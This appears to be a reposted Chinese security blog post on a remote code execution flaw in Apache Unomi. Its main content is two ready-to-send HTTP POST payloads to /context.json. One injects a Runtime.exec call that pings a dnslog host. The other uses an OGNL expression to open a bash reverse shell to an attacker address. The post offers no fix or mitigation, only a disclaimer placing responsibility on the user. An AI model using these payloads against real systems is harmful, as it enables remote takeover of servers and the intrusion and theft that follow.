Apache Unomi 远程代码执行

  • A+
所属分类:安全漏洞

欢迎关注公众号:进德修业行道。一名普通的白帽子,维护着一个既讲技术又有温度的原创号,一如既往地学习和分享,希望大家在紧张而忙碌的生活中可以在这里安静的学习,前行的道路上感谢有您的关注与支持。

Apache Unomi 远程代码执行

首页如下

Apache Unomi 远程代码执行

构造payload:

POST /context.json HTTP/1.1Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enConnection: closeContent-Type: application/jsonContent-Length: 493
{"filters": [ {"id": "sample","filters": [ {"condition": {"parameterValues": {"": "script::Runtime r = Runtime.getRuntime(); r.exec('ping 23dniu.dnslog.cn');" },"type": "profilePropertyCondition" } } ] } ],"sessionId": "sample"}

漏洞利用

Apache Unomi 远程代码执行

漏洞证明

Apache Unomi 远程代码执行

反弹shell的payload:

POST /context.json HTTP/1.1Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enConnection: closeContent-Type: application/jsonContent-Length: 493{ "personalizations":[ { "id":"gender-test", "strategy":"matching-first", "strategyOptions":{ "fallback":"var2" }, "contents":[ { "filters":[ { "condition":{ "parameterValues":{                  "propertyName":"(#runtimeclass = #this.getClass().forName("java.lang.Runtime")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals("getRuntime")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals("exec")}.{? #this.getParameters()[0].getType().getName().equals("java.lang.String")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,"/bin/bash -c [email protected]|bash 0 echo bash -i >& /dev/tcp/x.x.x.x/xxx 0>&1"))", "comparisonOperator":"equals", "propertyValue":"male" }, "type":"profilePropertyCondition" } } ] } ] } ], "sessionId":"sample"}

漏洞利用

Apache Unomi 远程代码执行

漏洞证明

Apache Unomi 远程代码执行

免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。

转载声明:进德修业行道 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

本文始发于微信公众号(进德修业行道):Apache Unomi 远程代码执行

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: